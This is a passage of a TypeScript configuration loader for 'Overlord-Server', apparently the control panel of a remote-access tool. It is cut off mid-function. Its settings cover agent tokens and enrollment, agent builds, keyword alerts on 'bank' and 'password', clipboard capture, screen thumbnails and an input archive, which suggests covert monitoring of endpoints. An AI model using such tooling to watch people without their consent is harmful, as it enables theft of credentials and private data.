Files
overlord/Overlord-Server/src/config.ts
T

1681 lines
56 KiB
TypeScript

import { existsSync, readFileSync, writeFileSync } from "fs";
import { writeFile, mkdir } from "fs/promises";
import { dirname, resolve } from "path";
import logger from "./logger";
import { ensureDataDir } from "./paths";
export interface Config {
auth: {
username: string;
password: string;
passwordIsUserSupplied: boolean;
jwtSecret: string;
agentToken: string;
};
oidc: {
enabled: boolean;
label: string;
issuer: string;
clientId: string;
clientSecret: string;
redirectUri: string;
scopes: string[];
clientAuthMethod: "client_secret_post" | "client_secret_basic" | "none";
autoProvision: boolean;
allowEmailLink: boolean;
defaultRole: "admin" | "operator" | "viewer";
allowedEmails: string[];
allowedDomains: string[];
groupClaim: string;
adminGroups: string[];
operatorGroups: string[];
viewerGroups: string[];
};
server: {
port: number;
host: string;
};
tls: {
certPath: string;
keyPath: string;
caPath: string;
certbot: {
enabled: boolean;
livePath: string;
domain: string;
certFileName: string;
keyFileName: string;
caFileName: string;
};
};
notifications: {
keywords: string[];
minIntervalMs: number;
spamWindowMs: number;
spamWarnThreshold: number;
historyLimit: number;
webhookEnabled: boolean;
webhookUrl: string;
telegramEnabled: boolean;
telegramBotToken: string;
telegramChatId: string;
clipboardEnabled: boolean;
antiSpamMaxHits: number;
antiSpamWindowMs: number;
antiSpamCooldownMs: number;
};
security: {
sessionTtlHours: number;
loginMaxAttempts: number;
loginWindowMinutes: number;
loginLockoutMinutes: number;
passwordMinLength: number;
passwordRequireUppercase: boolean;
passwordRequireLowercase: boolean;
passwordRequireNumber: boolean;
passwordRequireSymbol: boolean;
mfaRequiredForAdmins: boolean;
mfaRequiredForNonAdmins: boolean;
};
enrollment: {
requireApproval: boolean;
autoApproveUnlessSuspicious: boolean;
};
appearance: {
customCSS: string;
loginBranding: {
productName: string;
tabName: string;
faviconUrl: string;
dashboardBackgroundUrl: string;
navName: string;
title: string;
subtitle: string;
iconClass: string;
logoUrl: string;
logoAlt: string;
navLogoUrl: string;
navLogoAlt: string;
heroImageUrl: string;
heroImageAlt: string;
accentColor: string;
footerText: string;
supportText: string;
supportUrl: string;
};
};
plugins: {
trustedKeys: string[];
};
chat: {
retentionDays: number;
};
registration: {
mode: "off" | "open" | "key" | "approval";
defaultRole: "operator" | "viewer";
maxUsersTotal: number;
defaultGroupIds: number[];
};
buildRateLimit: {
maxBuildsPerHour: number;
maxConcurrentPerUser: number;
globalMaxConcurrent: number;
};
buildSigning: {
banlist: string[];
};
thumbnails: {
dashboardEnabled: boolean;
wallEnabled: boolean;
};
inputArchive: {
enabled: boolean;
retentionDays: number;
maxFileBytes: number;
pollIntervalSeconds: number;
};
}
const DEFAULT_CONFIG: Config = {
auth: {
username: "admin",
password: "admin",
passwordIsUserSupplied: false,
jwtSecret: "",
agentToken: "",
},
oidc: {
enabled: false,
label: "Single sign-on",
issuer: "",
clientId: "",
clientSecret: "",
redirectUri: "",
scopes: ["openid", "profile", "email"],
clientAuthMethod: "client_secret_post",
autoProvision: true,
allowEmailLink: false,
defaultRole: "viewer",
allowedEmails: [],
allowedDomains: [],
groupClaim: "groups",
adminGroups: [],
operatorGroups: [],
viewerGroups: [],
},
server: {
port: 5173,
host: "0.0.0.0",
},
tls: {
certPath: "./certs/server.crt",
keyPath: "./certs/server.key",
caPath: "",
certbot: {
enabled: false,
livePath: "/etc/letsencrypt/live",
domain: "",
certFileName: "fullchain.pem",
keyFileName: "privkey.pem",
caFileName: "chain.pem",
},
},
notifications: {
keywords: ["bank", "password", "admin"],
minIntervalMs: 8000,
spamWindowMs: 60000,
spamWarnThreshold: 5,
historyLimit: 200,
webhookEnabled: false,
webhookUrl: "",
telegramEnabled: false,
telegramBotToken: "",
telegramChatId: "",
clipboardEnabled: false,
antiSpamMaxHits: 15,
antiSpamWindowMs: 600000,
antiSpamCooldownMs: 600000,
},
security: {
sessionTtlHours: 168,
loginMaxAttempts: 5,
loginWindowMinutes: 15,
loginLockoutMinutes: 30,
passwordMinLength: 6,
passwordRequireUppercase: false,
passwordRequireLowercase: false,
passwordRequireNumber: false,
passwordRequireSymbol: false,
mfaRequiredForAdmins: false,
mfaRequiredForNonAdmins: false,
},
enrollment: {
requireApproval: true,
autoApproveUnlessSuspicious: false,
},
appearance: {
customCSS: "",
loginBranding: {
productName: "Overlord",
tabName: "Overlord",
faviconUrl: "",
dashboardBackgroundUrl: "",
navName: "Overlord",
title: "Welcome back",
subtitle: "Sign in to your control plane",
iconClass: "fa-solid fa-crown",
logoUrl: "",
logoAlt: "Overlord logo",
navLogoUrl: "",
navLogoAlt: "Overlord logo",
heroImageUrl: "",
heroImageAlt: "Overlord sign-in background",
accentColor: "#7a5bff",
footerText: "",
supportText: "",
supportUrl: "",
},
},
plugins: {
trustedKeys: [],
},
chat: {
retentionDays: 30,
},
registration: {
mode: "off" as const,
defaultRole: "operator" as const,
maxUsersTotal: 0,
defaultGroupIds: [] as number[],
},
buildRateLimit: {
maxBuildsPerHour: 5,
maxConcurrentPerUser: 1,
globalMaxConcurrent: 3,
},
buildSigning: {
banlist: [],
},
thumbnails: {
dashboardEnabled: true,
wallEnabled: true,
},
inputArchive: {
enabled: false,
retentionDays: 7,
maxFileBytes: 5 * 1024 * 1024,
pollIntervalSeconds: 300,
},
};
function envBoolOverride(name: string): boolean | undefined {
const raw = String(process.env[name] || "").trim().toLowerCase();
if (!raw) return undefined;
if (["1", "true", "yes", "on"].includes(raw)) return true;
if (["0", "false", "no", "off"].includes(raw)) return false;
return undefined;
}
function splitList(value: unknown): string[] {
if (Array.isArray(value)) {
return value.map((v) => String(v).trim()).filter(Boolean);
}
if (typeof value === "string") {
return value.split(",").map((v) => v.trim()).filter(Boolean);
}
return [];
}
function pickRole(value: unknown, fallback: Config["oidc"]["defaultRole"]): Config["oidc"]["defaultRole"] {
return value === "admin" || value === "operator" || value === "viewer"
? value
: fallback;
}
function pickClientAuthMethod(value: unknown): Config["oidc"]["clientAuthMethod"] {
return value === "client_secret_basic" || value === "none"
? value
: "client_secret_post";
}
function cleanText(value: unknown, fallback: string, maxLength: number): string {
const raw = typeof value === "string" ? value : "";
const cleaned = raw
.replace(/[\u0000-\u001f\u007f]/g, " ")
.replace(/\s+/g, " ")
.trim();
return (cleaned || fallback).slice(0, maxLength);
}
function cleanIconClass(value: unknown, fallback: string): string {
const raw = cleanText(value, fallback, 120);
const cleaned = raw.replace(/[^A-Za-z0-9_:\-\s]/g, "").replace(/\s+/g, " ").trim();
return cleaned || fallback;
}
function cleanLogoUrl(value: unknown): string {
const raw = cleanText(value, "", 2048);
if (!raw) return "";
if (raw.startsWith("/") && !raw.startsWith("//")) return raw;
try {
const parsed = new URL(raw);
if (parsed.protocol === "https:" || parsed.protocol === "http:") {
return parsed.toString();
}
} catch {}
return "";
}
function cleanBrandColor(value: unknown, fallback: string): string {
const raw = typeof value === "string" ? value.trim() : "";
return /^#[0-9a-fA-F]{6}$/.test(raw) ? raw.toLowerCase() : fallback;
}
function cleanLoginBranding(
value: Partial<Config["appearance"]["loginBranding"]> | undefined,
fallback: Config["appearance"]["loginBranding"],
): Config["appearance"]["loginBranding"] {
const productName = cleanText(value?.productName, fallback.productName, 80);
const navName = cleanText(value?.navName, productName, 80);
return {
productName,
tabName: cleanText(value?.tabName, productName, 80),
faviconUrl: cleanLogoUrl(value?.faviconUrl),
dashboardBackgroundUrl: cleanLogoUrl(value?.dashboardBackgroundUrl),
navName,
title: cleanText(value?.title, fallback.title, 120),
subtitle: cleanText(value?.subtitle, fallback.subtitle, 180),
iconClass: cleanIconClass(value?.iconClass, fallback.iconClass),
logoUrl: cleanLogoUrl(value?.logoUrl),
logoAlt: cleanText(value?.logoAlt, `${productName} logo`, 120),
navLogoUrl: cleanLogoUrl(value?.navLogoUrl),
navLogoAlt: cleanText(value?.navLogoAlt, `${navName} logo`, 120),
heroImageUrl: cleanLogoUrl(value?.heroImageUrl),
heroImageAlt: cleanText(value?.heroImageAlt, `${productName} sign-in image`, 160),
accentColor: cleanBrandColor(value?.accentColor, fallback.accentColor),
footerText: cleanText(value?.footerText, "", 160),
supportText: cleanText(value?.supportText, "", 120),
supportUrl: cleanLogoUrl(value?.supportUrl),
};
}
type SaveSecrets = {
auth?: {
jwtSecret?: string;
agentToken?: string;
bootstrapPassword?: string;
};
buildSigning?: {
privateKey?: string;
publicKey?: string;
};
clientLogs?: {
privateKey?: string;
publicKey?: string;
};
};
export type BuildSigningSecrets = {
privateKey: string;
publicKey: string;
};
export type ClientLogSecrets = {
privateKey: string;
publicKey: string;
};
function generateRandomSecret(length = 48): string {
const chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*";
let secret = "";
const array = new Uint8Array(length);
crypto.getRandomValues(array);
for (let i = 0; i < length; i++) {
secret += chars[array[i] % chars.length];
}
return secret;
}
function loadSaveSecrets(savePath: string): SaveSecrets {
if (!existsSync(savePath)) {
return {};
}
try {
const raw = readFileSync(savePath, "utf-8");
const parsed = JSON.parse(raw);
return typeof parsed === "object" && parsed ? parsed : {};
} catch (error) {
logger.warn("Failed to parse save.json, regenerating missing secrets:", error);
return {};
}
}
function persistSaveSecrets(savePath: string, secrets: SaveSecrets): void {
try {
writeFileSync(savePath, JSON.stringify(secrets, null, 2));
logger.info(`Persisted secrets to ${savePath}`);
} catch (error) {
logger.warn("Failed to persist save.json secrets", error);
}
}
let configCache: Config | null = null;
function getPersistentConfigPath(): string {
return resolve(ensureDataDir(), "config.json");
}
function getLegacyConfigPath(): string {
return resolve(process.cwd(), "config.json");
}
function tryReadConfigFile(path: string): any {
try {
const content = readFileSync(path, "utf-8");
const parsed = JSON.parse(content);
return parsed && typeof parsed === "object" ? parsed : {};
} catch (error) {
logger.warn(`Failed to parse config file at ${path}, using defaults:`, error);
return {};
}
}
function readFileConfigForLoad(): Partial<Config> {
const persistentConfigPath = getPersistentConfigPath();
if (existsSync(persistentConfigPath)) {
logger.info(`Loaded configuration from ${persistentConfigPath}`);
return tryReadConfigFile(persistentConfigPath);
}
const legacyConfigPath = getLegacyConfigPath();
if (existsSync(legacyConfigPath)) {
logger.info(`Loaded configuration from ${legacyConfigPath}`);
return tryReadConfigFile(legacyConfigPath);
}
logger.info(
"No config.json found, using defaults and environment variables",
);
return {};
}
function readFileConfigForUpdate(): any {
const persistentConfigPath = getPersistentConfigPath();
if (existsSync(persistentConfigPath)) {
return tryReadConfigFile(persistentConfigPath);
}
const legacyConfigPath = getLegacyConfigPath();
if (existsSync(legacyConfigPath)) {
return tryReadConfigFile(legacyConfigPath);
}
return {};
}
async function writePersistentFileConfig(fileConfig: any): Promise<void> {
const configPath = getPersistentConfigPath();
try {
await mkdir(dirname(configPath), { recursive: true });
} catch {}
await writeFile(configPath, JSON.stringify(fileConfig, null, 2));
}
export function loadConfig(): Config {
if (configCache) {
return configCache;
}
const fileConfig = readFileConfigForLoad();
const dataDir = ensureDataDir();
const savePath = resolve(dataDir, "save.json");
const savedSecrets = loadSaveSecrets(savePath);
let saveChanged = false;
const jwtSecretFromEnv = process.env.JWT_SECRET;
const jwtSecret =
process.env.JWT_SECRET ||
fileConfig.auth?.jwtSecret ||
savedSecrets.auth?.jwtSecret ||
DEFAULT_CONFIG.auth.jwtSecret;
let finalJwtSecret = jwtSecret;
if (!finalJwtSecret) {
finalJwtSecret = generateRandomSecret(64);
saveChanged = true;
logger.info("No JWT secret provided, generated secure random secret");
}
const agentTokenFromEnv = process.env.OVERLORD_AGENT_TOKEN?.trim();
const agentTokenFromConfig = fileConfig.auth?.agentToken?.trim();
let finalAgentToken =
agentTokenFromEnv ||
agentTokenFromConfig ||
savedSecrets.auth?.agentToken?.trim() ||
DEFAULT_CONFIG.auth.agentToken;
if (!finalAgentToken) {
finalAgentToken = generateRandomSecret(64);
saveChanged = true;
logger.info("No agent token provided, generated secure random token");
}
const passwordFromEnv = process.env.OVERLORD_PASS;
const passwordFromConfig = fileConfig.auth?.password;
const passwordFromSaved = savedSecrets.auth?.bootstrapPassword;
let finalBootstrapPassword =
passwordFromEnv ||
passwordFromConfig ||
passwordFromSaved ||
DEFAULT_CONFIG.auth.password;
const passwordIsUserSupplied =
Boolean(passwordFromEnv) ||
Boolean(passwordFromConfig);
const keywordsEnv = process.env.OVERLORD_NOTIFICATION_KEYWORDS;
const keywordsFromEnv = keywordsEnv
? keywordsEnv
.split(",")
.map((k) => k.trim())
.filter(Boolean)
: [];
configCache = {
auth: {
username:
process.env.OVERLORD_USER ||
fileConfig.auth?.username ||
DEFAULT_CONFIG.auth.username,
password: finalBootstrapPassword,
passwordIsUserSupplied,
jwtSecret: finalJwtSecret,
agentToken: finalAgentToken,
},
oidc: {
enabled:
envBoolOverride("OVERLORD_OIDC_ENABLED") ??
(fileConfig.oidc?.enabled !== undefined
? Boolean(fileConfig.oidc.enabled)
: DEFAULT_CONFIG.oidc.enabled),
label:
process.env.OVERLORD_OIDC_LABEL ||
fileConfig.oidc?.label ||
DEFAULT_CONFIG.oidc.label,
issuer:
process.env.OVERLORD_OIDC_ISSUER ||
fileConfig.oidc?.issuer ||
DEFAULT_CONFIG.oidc.issuer,
clientId:
process.env.OVERLORD_OIDC_CLIENT_ID ||
fileConfig.oidc?.clientId ||
DEFAULT_CONFIG.oidc.clientId,
clientSecret:
process.env.OVERLORD_OIDC_CLIENT_SECRET ||
fileConfig.oidc?.clientSecret ||
DEFAULT_CONFIG.oidc.clientSecret,
redirectUri:
process.env.OVERLORD_OIDC_REDIRECT_URI ||
fileConfig.oidc?.redirectUri ||
DEFAULT_CONFIG.oidc.redirectUri,
scopes: (() => {
const envScopes = splitList(process.env.OVERLORD_OIDC_SCOPES);
if (envScopes.length > 0) return envScopes;
const fileScopes = splitList(fileConfig.oidc?.scopes);
return fileScopes.length > 0 ? fileScopes : [...DEFAULT_CONFIG.oidc.scopes];
})(),
clientAuthMethod: pickClientAuthMethod(
process.env.OVERLORD_OIDC_CLIENT_AUTH_METHOD ||
fileConfig.oidc?.clientAuthMethod,
),
autoProvision:
envBoolOverride("OVERLORD_OIDC_AUTO_PROVISION") ??
(fileConfig.oidc?.autoProvision !== undefined
? Boolean(fileConfig.oidc.autoProvision)
: DEFAULT_CONFIG.oidc.autoProvision),
allowEmailLink:
envBoolOverride("OVERLORD_OIDC_ALLOW_EMAIL_LINK") ??
(fileConfig.oidc?.allowEmailLink !== undefined
? Boolean(fileConfig.oidc.allowEmailLink)
: DEFAULT_CONFIG.oidc.allowEmailLink),
defaultRole: pickRole(
process.env.OVERLORD_OIDC_DEFAULT_ROLE ||
fileConfig.oidc?.defaultRole,
DEFAULT_CONFIG.oidc.defaultRole,
),
allowedEmails: (() => {
const envEmails = splitList(process.env.OVERLORD_OIDC_ALLOWED_EMAILS);
return envEmails.length > 0 ? envEmails : splitList(fileConfig.oidc?.allowedEmails);
})(),
allowedDomains: (() => {
const envDomains = splitList(process.env.OVERLORD_OIDC_ALLOWED_DOMAINS);
return envDomains.length > 0 ? envDomains : splitList(fileConfig.oidc?.allowedDomains);
})(),
groupClaim:
process.env.OVERLORD_OIDC_GROUP_CLAIM ||
fileConfig.oidc?.groupClaim ||
DEFAULT_CONFIG.oidc.groupClaim,
adminGroups: (() => {
const envGroups = splitList(process.env.OVERLORD_OIDC_ADMIN_GROUPS);
return envGroups.length > 0 ? envGroups : splitList(fileConfig.oidc?.adminGroups);
})(),
operatorGroups: (() => {
const envGroups = splitList(process.env.OVERLORD_OIDC_OPERATOR_GROUPS);
return envGroups.length > 0 ? envGroups : splitList(fileConfig.oidc?.operatorGroups);
})(),
viewerGroups: (() => {
const envGroups = splitList(process.env.OVERLORD_OIDC_VIEWER_GROUPS);
return envGroups.length > 0 ? envGroups : splitList(fileConfig.oidc?.viewerGroups);
})(),
},
server: {
port:
Number(process.env.PORT) ||
fileConfig.server?.port ||
DEFAULT_CONFIG.server.port,
host:
process.env.HOST ||
fileConfig.server?.host ||
DEFAULT_CONFIG.server.host,
},
tls: {
certPath:
process.env.OVERLORD_TLS_CERT ||
fileConfig.tls?.certPath ||
DEFAULT_CONFIG.tls.certPath,
keyPath:
process.env.OVERLORD_TLS_KEY ||
fileConfig.tls?.keyPath ||
DEFAULT_CONFIG.tls.keyPath,
caPath:
process.env.OVERLORD_TLS_CA ||
fileConfig.tls?.caPath ||
DEFAULT_CONFIG.tls.caPath,
certbot: {
enabled:
String(process.env.OVERLORD_TLS_CERTBOT_ENABLED || "").toLowerCase() === "true" ||
fileConfig.tls?.certbot?.enabled ||
DEFAULT_CONFIG.tls.certbot.enabled,
livePath:
process.env.OVERLORD_TLS_CERTBOT_LIVE_PATH ||
fileConfig.tls?.certbot?.livePath ||
DEFAULT_CONFIG.tls.certbot.livePath,
domain:
process.env.OVERLORD_TLS_CERTBOT_DOMAIN ||
fileConfig.tls?.certbot?.domain ||
DEFAULT_CONFIG.tls.certbot.domain,
certFileName:
process.env.OVERLORD_TLS_CERTBOT_CERT_FILE ||
fileConfig.tls?.certbot?.certFileName ||
DEFAULT_CONFIG.tls.certbot.certFileName,
keyFileName:
process.env.OVERLORD_TLS_CERTBOT_KEY_FILE ||
fileConfig.tls?.certbot?.keyFileName ||
DEFAULT_CONFIG.tls.certbot.keyFileName,
caFileName:
process.env.OVERLORD_TLS_CERTBOT_CA_FILE ||
fileConfig.tls?.certbot?.caFileName ||
DEFAULT_CONFIG.tls.certbot.caFileName,
},
},
notifications: {
keywords:
keywordsFromEnv.length > 0
? keywordsFromEnv
: (fileConfig.notifications?.keywords ||
DEFAULT_CONFIG.notifications.keywords),
minIntervalMs:
Number(process.env.OVERLORD_NOTIFICATION_MIN_INTERVAL_MS) ||
fileConfig.notifications?.minIntervalMs ||
DEFAULT_CONFIG.notifications.minIntervalMs,
spamWindowMs:
Number(process.env.OVERLORD_NOTIFICATION_SPAM_WINDOW_MS) ||
fileConfig.notifications?.spamWindowMs ||
DEFAULT_CONFIG.notifications.spamWindowMs,
spamWarnThreshold:
Number(process.env.OVERLORD_NOTIFICATION_SPAM_WARN_THRESHOLD) ||
fileConfig.notifications?.spamWarnThreshold ||
DEFAULT_CONFIG.notifications.spamWarnThreshold,
historyLimit:
Number(process.env.OVERLORD_NOTIFICATION_HISTORY_LIMIT) ||
fileConfig.notifications?.historyLimit ||
DEFAULT_CONFIG.notifications.historyLimit,
webhookEnabled:
String(process.env.OVERLORD_NOTIFICATION_WEBHOOK_ENABLED || "").toLowerCase() === "true" ||
fileConfig.notifications?.webhookEnabled ||
DEFAULT_CONFIG.notifications.webhookEnabled,
webhookUrl:
process.env.OVERLORD_NOTIFICATION_WEBHOOK_URL ||
fileConfig.notifications?.webhookUrl ||
DEFAULT_CONFIG.notifications.webhookUrl,
telegramEnabled:
String(process.env.OVERLORD_NOTIFICATION_TELEGRAM_ENABLED || "").toLowerCase() === "true" ||
fileConfig.notifications?.telegramEnabled ||
DEFAULT_CONFIG.notifications.telegramEnabled,
telegramBotToken:
process.env.OVERLORD_NOTIFICATION_TELEGRAM_BOT_TOKEN ||
fileConfig.notifications?.telegramBotToken ||
DEFAULT_CONFIG.notifications.telegramBotToken,
telegramChatId:
process.env.OVERLORD_NOTIFICATION_TELEGRAM_CHAT_ID ||
fileConfig.notifications?.telegramChatId ||
DEFAULT_CONFIG.notifications.telegramChatId,
clipboardEnabled:
String(process.env.OVERLORD_NOTIFICATION_CLIPBOARD_ENABLED || "").toLowerCase() === "true" ||
fileConfig.notifications?.clipboardEnabled ||
DEFAULT_CONFIG.notifications.clipboardEnabled,
antiSpamMaxHits:
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_MAX_HITS) ||
fileConfig.notifications?.antiSpamMaxHits ||
DEFAULT_CONFIG.notifications.antiSpamMaxHits,
antiSpamWindowMs:
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_WINDOW_MS) ||
fileConfig.notifications?.antiSpamWindowMs ||
DEFAULT_CONFIG.notifications.antiSpamWindowMs,
antiSpamCooldownMs:
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_COOLDOWN_MS) ||
fileConfig.notifications?.antiSpamCooldownMs ||
DEFAULT_CONFIG.notifications.antiSpamCooldownMs,
},
security: {
sessionTtlHours:
Number(process.env.OVERLORD_SESSION_TTL_HOURS) ||
fileConfig.security?.sessionTtlHours ||
DEFAULT_CONFIG.security.sessionTtlHours,
loginMaxAttempts:
Number(process.env.OVERLORD_LOGIN_MAX_ATTEMPTS) ||
fileConfig.security?.loginMaxAttempts ||
DEFAULT_CONFIG.security.loginMaxAttempts,
loginWindowMinutes:
Number(process.env.OVERLORD_LOGIN_WINDOW_MINUTES) ||
fileConfig.security?.loginWindowMinutes ||
DEFAULT_CONFIG.security.loginWindowMinutes,
loginLockoutMinutes:
Number(process.env.OVERLORD_LOGIN_LOCKOUT_MINUTES) ||
fileConfig.security?.loginLockoutMinutes ||
DEFAULT_CONFIG.security.loginLockoutMinutes,
passwordMinLength:
Number(process.env.OVERLORD_PASSWORD_MIN_LENGTH) ||
fileConfig.security?.passwordMinLength ||
DEFAULT_CONFIG.security.passwordMinLength,
passwordRequireUppercase:
String(process.env.OVERLORD_PASSWORD_REQUIRE_UPPERCASE || "").toLowerCase() === "true" ||
fileConfig.security?.passwordRequireUppercase ||
DEFAULT_CONFIG.security.passwordRequireUppercase,
passwordRequireLowercase:
String(process.env.OVERLORD_PASSWORD_REQUIRE_LOWERCASE || "").toLowerCase() === "true" ||
fileConfig.security?.passwordRequireLowercase ||
DEFAULT_CONFIG.security.passwordRequireLowercase,
passwordRequireNumber:
String(process.env.OVERLORD_PASSWORD_REQUIRE_NUMBER || "").toLowerCase() === "true" ||
fileConfig.security?.passwordRequireNumber ||
DEFAULT_CONFIG.security.passwordRequireNumber,
passwordRequireSymbol:
String(process.env.OVERLORD_PASSWORD_REQUIRE_SYMBOL || "").toLowerCase() === "true" ||
fileConfig.security?.passwordRequireSymbol ||
DEFAULT_CONFIG.security.passwordRequireSymbol,
mfaRequiredForAdmins:
String(process.env.OVERLORD_MFA_REQUIRED_FOR_ADMINS || "").toLowerCase() === "true" ||
fileConfig.security?.mfaRequiredForAdmins ||
DEFAULT_CONFIG.security.mfaRequiredForAdmins,
mfaRequiredForNonAdmins:
String(process.env.OVERLORD_MFA_REQUIRED_FOR_NON_ADMINS || "").toLowerCase() === "true" ||
fileConfig.security?.mfaRequiredForNonAdmins ||
DEFAULT_CONFIG.security.mfaRequiredForNonAdmins,
},
enrollment: {
requireApproval:
process.env.OVERLORD_ENROLLMENT_REQUIRE_APPROVAL !== undefined
? String(process.env.OVERLORD_ENROLLMENT_REQUIRE_APPROVAL).toLowerCase() === "true"
: (fileConfig.enrollment?.requireApproval ?? DEFAULT_CONFIG.enrollment.requireApproval),
autoApproveUnlessSuspicious:
fileConfig.enrollment?.autoApproveUnlessSuspicious ?? DEFAULT_CONFIG.enrollment.autoApproveUnlessSuspicious,
},
appearance: {
customCSS: fileConfig.appearance?.customCSS || DEFAULT_CONFIG.appearance.customCSS,
loginBranding: cleanLoginBranding(
{
...(fileConfig.appearance?.loginBranding || {}),
productName:
process.env.OVERLORD_LOGIN_BRAND_NAME ||
process.env.OVERLORD_BRAND_NAME ||
fileConfig.appearance?.loginBranding?.productName,
tabName:
process.env.OVERLORD_TAB_NAME ||
fileConfig.appearance?.loginBranding?.tabName,
faviconUrl:
process.env.OVERLORD_FAVICON_URL ||
fileConfig.appearance?.loginBranding?.faviconUrl,
dashboardBackgroundUrl:
process.env.OVERLORD_DASHBOARD_BACKGROUND_URL ||
fileConfig.appearance?.loginBranding?.dashboardBackgroundUrl,
navName:
process.env.OVERLORD_NAV_BRAND_NAME ||
process.env.OVERLORD_BRAND_NAME ||
fileConfig.appearance?.loginBranding?.navName,
title:
process.env.OVERLORD_LOGIN_TITLE ||
fileConfig.appearance?.loginBranding?.title,
subtitle:
process.env.OVERLORD_LOGIN_SUBTITLE ||
fileConfig.appearance?.loginBranding?.subtitle,
iconClass:
process.env.OVERLORD_LOGIN_ICON_CLASS ||
fileConfig.appearance?.loginBranding?.iconClass,
logoUrl:
process.env.OVERLORD_LOGIN_LOGO_URL ||
fileConfig.appearance?.loginBranding?.logoUrl,
logoAlt:
process.env.OVERLORD_LOGIN_LOGO_ALT ||
fileConfig.appearance?.loginBranding?.logoAlt,
navLogoUrl:
process.env.OVERLORD_NAV_LOGO_URL ||
process.env.OVERLORD_BRAND_LOGO_URL ||
fileConfig.appearance?.loginBranding?.navLogoUrl,
navLogoAlt:
process.env.OVERLORD_NAV_LOGO_ALT ||
process.env.OVERLORD_BRAND_LOGO_ALT ||
fileConfig.appearance?.loginBranding?.navLogoAlt,
heroImageUrl:
process.env.OVERLORD_LOGIN_HERO_IMAGE_URL ||
fileConfig.appearance?.loginBranding?.heroImageUrl,
heroImageAlt:
process.env.OVERLORD_LOGIN_HERO_IMAGE_ALT ||
fileConfig.appearance?.loginBranding?.heroImageAlt,
accentColor:
process.env.OVERLORD_BRAND_ACCENT_COLOR ||
fileConfig.appearance?.loginBranding?.accentColor,
footerText:
process.env.OVERLORD_LOGIN_FOOTER_TEXT ||
fileConfig.appearance?.loginBranding?.footerText,
supportText:
process.env.OVERLORD_LOGIN_SUPPORT_TEXT ||
fileConfig.appearance?.loginBranding?.supportText,
supportUrl:
process.env.OVERLORD_LOGIN_SUPPORT_URL ||
fileConfig.appearance?.loginBranding?.supportUrl,
},
DEFAULT_CONFIG.appearance.loginBranding,
),
},
plugins: {
trustedKeys: (() => {
const envKeys = process.env.TRUSTED_PLUGIN_KEYS;
if (envKeys) {
return envKeys.split(",").map((k) => k.trim()).filter(Boolean);
}
return fileConfig.plugins?.trustedKeys || DEFAULT_CONFIG.plugins.trustedKeys;
})(),
},
chat: {
retentionDays:
Number(process.env.OVERLORD_CHAT_RETENTION_DAYS) ||
fileConfig.chat?.retentionDays ||
DEFAULT_CONFIG.chat.retentionDays,
},
registration: {
mode: (() => {
const envMode = process.env.OVERLORD_REGISTRATION_MODE;
if (envMode && ["off", "open", "key", "approval"].includes(envMode)) return envMode as Config["registration"]["mode"];
const fileMode = fileConfig.registration?.mode;
if (fileMode && ["off", "open", "key", "approval"].includes(fileMode)) return fileMode as Config["registration"]["mode"];
return DEFAULT_CONFIG.registration.mode;
})(),
defaultRole: (() => {
const envRole = process.env.OVERLORD_REGISTRATION_DEFAULT_ROLE;
if (envRole && ["operator", "viewer"].includes(envRole)) return envRole as Config["registration"]["defaultRole"];
const fileRole = fileConfig.registration?.defaultRole;
if (fileRole && ["operator", "viewer"].includes(fileRole)) return fileRole as Config["registration"]["defaultRole"];
return DEFAULT_CONFIG.registration.defaultRole;
})(),
maxUsersTotal:
Number(process.env.OVERLORD_REGISTRATION_MAX_USERS) ||
fileConfig.registration?.maxUsersTotal ||
DEFAULT_CONFIG.registration.maxUsersTotal,
defaultGroupIds: Array.isArray(fileConfig.registration?.defaultGroupIds)
? fileConfig.registration.defaultGroupIds
.map((g: unknown) => Number(g))
.filter((g: number) => Number.isFinite(g) && g > 0)
: [...DEFAULT_CONFIG.registration.defaultGroupIds],
},
buildRateLimit: {
maxBuildsPerHour:
Number(process.env.OVERLORD_BUILD_MAX_PER_HOUR) ||
fileConfig.buildRateLimit?.maxBuildsPerHour ||
DEFAULT_CONFIG.buildRateLimit.maxBuildsPerHour,
maxConcurrentPerUser:
Number(process.env.OVERLORD_BUILD_MAX_CONCURRENT_USER) ||
fileConfig.buildRateLimit?.maxConcurrentPerUser ||
DEFAULT_CONFIG.buildRateLimit.maxConcurrentPerUser,
globalMaxConcurrent:
Number(process.env.OVERLORD_BUILD_MAX_CONCURRENT_GLOBAL) ||
fileConfig.buildRateLimit?.globalMaxConcurrent ||
DEFAULT_CONFIG.buildRateLimit.globalMaxConcurrent,
},
buildSigning: {
banlist: Array.isArray(fileConfig.buildSigning?.banlist)
? fileConfig.buildSigning.banlist.filter((v: unknown): v is string => typeof v === "string" && v.length > 0)
: [...DEFAULT_CONFIG.buildSigning.banlist],
},
thumbnails: {
dashboardEnabled:
envBoolOverride("OVERLORD_THUMBNAILS_DASHBOARD_ENABLED") ??
(fileConfig.thumbnails?.dashboardEnabled !== undefined
? Boolean(fileConfig.thumbnails.dashboardEnabled)
: DEFAULT_CONFIG.thumbnails.dashboardEnabled),
wallEnabled:
envBoolOverride("OVERLORD_THUMBNAILS_WALL_ENABLED") ??
(fileConfig.thumbnails?.wallEnabled !== undefined
? Boolean(fileConfig.thumbnails.wallEnabled)
: DEFAULT_CONFIG.thumbnails.wallEnabled),
},
inputArchive: {
enabled:
envBoolOverride("OVERLORD_INPUT_ARCHIVE_ENABLED") ??
(fileConfig.inputArchive?.enabled !== undefined
? Boolean(fileConfig.inputArchive.enabled)
: DEFAULT_CONFIG.inputArchive.enabled),
retentionDays: Math.min(
365,
Math.max(1, Number(process.env.OVERLORD_INPUT_ARCHIVE_RETENTION_DAYS) || Number(fileConfig.inputArchive?.retentionDays) || DEFAULT_CONFIG.inputArchive.retentionDays),
),
maxFileBytes: Math.min(
50 * 1024 * 1024,
Math.max(64 * 1024, Number(process.env.OVERLORD_INPUT_ARCHIVE_MAX_FILE_BYTES) || Number(fileConfig.inputArchive?.maxFileBytes) || DEFAULT_CONFIG.inputArchive.maxFileBytes),
),
pollIntervalSeconds: Math.min(
24 * 60 * 60,
Math.max(
0,
process.env.OVERLORD_INPUT_ARCHIVE_POLL_INTERVAL_SECONDS !== undefined
? Number(process.env.OVERLORD_INPUT_ARCHIVE_POLL_INTERVAL_SECONDS)
: fileConfig.inputArchive?.pollIntervalSeconds !== undefined
? Number(fileConfig.inputArchive.pollIntervalSeconds)
: DEFAULT_CONFIG.inputArchive.pollIntervalSeconds,
),
),
},
};
if (saveChanged) {
